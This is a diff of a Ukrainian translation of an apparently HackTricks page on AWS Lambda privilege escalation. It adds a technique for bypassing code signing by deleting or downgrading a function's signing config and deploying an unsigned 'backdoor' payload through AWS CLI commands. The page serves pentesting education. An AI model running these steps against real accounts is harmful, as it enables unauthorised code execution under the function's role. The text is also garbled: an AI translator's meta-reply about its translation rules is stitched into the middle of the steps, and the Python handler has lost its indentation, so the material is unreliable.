`lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Можливо, з цими дозволами ви зможете створити функцію та виконати її, викликавши URL... але я не зміг знайти спосіб це протестувати, тож дайте знати, якщо ви це зробите! +Можливо, з такими дозволами ви зможете створити функцію і виконати її, викликавши URL... але я не знайшов способу протестувати це, тому дайте знати, якщо вам вдасться! ### Lambda MitM -Деякі lambdas будуть **отримувати чутливу інформацію від користувачів у параметрах.** Якщо ви отримаєте RCE в одній з них, ви зможете ексфільтрувати інформацію, яку інші користувачі надсилають їй, перевірте це в: +Деякі lambda будуть **отримувати конфіденційні дані від користувачів у параметрах.** Якщо отримати RCE в одній з них, ви можете exfiltrate інформацію, яку інші користувачі надсилають до неї; див.: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -256,3 +256,69 @@ aws lambda update-function-configuration \ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} + + + + +### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Обхід підписування коду для Lambda + +Якщо функція Lambda вимагає підписування коду, нападник, який може видалити Code Signing Config (CSC) або понизити його до Warn, може розгорнути неподписаний код у функцію. Це обходить захист цілісності без зміни IAM ролі функції або її тригерів. + +Permissions (one of): +- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` +- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` + +Примітки: +- Для Path B вам не потрібен профіль AWS Signer, якщо політика CSC встановлена на `WARN` (дозволені неподписані артефакти). + +Steps (REGION=us-east-1, TARGET_FN=): + +Підготуйте невеликий payload: +```bash +cat > handler.py <<'PY' +import os, json +def lambda_handler(event, context): +return {"pwn": True, "env": list(os.environ)[:6]} +PY +zip backdoor.zip handler.py +``` +Path A) Видалити CSC, потім оновити код: +```bash +aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 +if [ "$HAS_CSC" -eq 1 ]; then +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION +fi +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Шлях B) Знизити до Warn і оновити код (якщо delete не дозволено): +```bash +CSC_ARN=$(aws lambda create-code-signing-config \ +--description ht-warn-csc \ +--code-signing-policies UntrustedArtifactOnDeployment=WARN \ +--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) +aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Підтверджую: я перекладу релевантний англійський текст файлу src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md українською, зберігаючи точно ту ж саму markdown та HTML синтакси. Не перекладатиму: +- код, +- імена технік і загальні hacking-слова, +- назви платформ/сервісів (наприклад aws, gcp, Workspace), +- слова "leak", "pentesting", +- посилання, шляхи та ref/теги типу {#tabs}, {#ref} і т. ін. + +Також не додаватиму жодного зайвого вмісту поза перекладом. +```bash +aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null +cat /tmp/out.json +``` +Потенційний вплив: Здатність завантажувати та виконувати довільний непідписаний код у функції, яка мала забезпечувати виконання лише підписаних розгортань, що може призвести до виконання коду з дозволами ролі функції. + +Очищення: +```bash +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true +``` +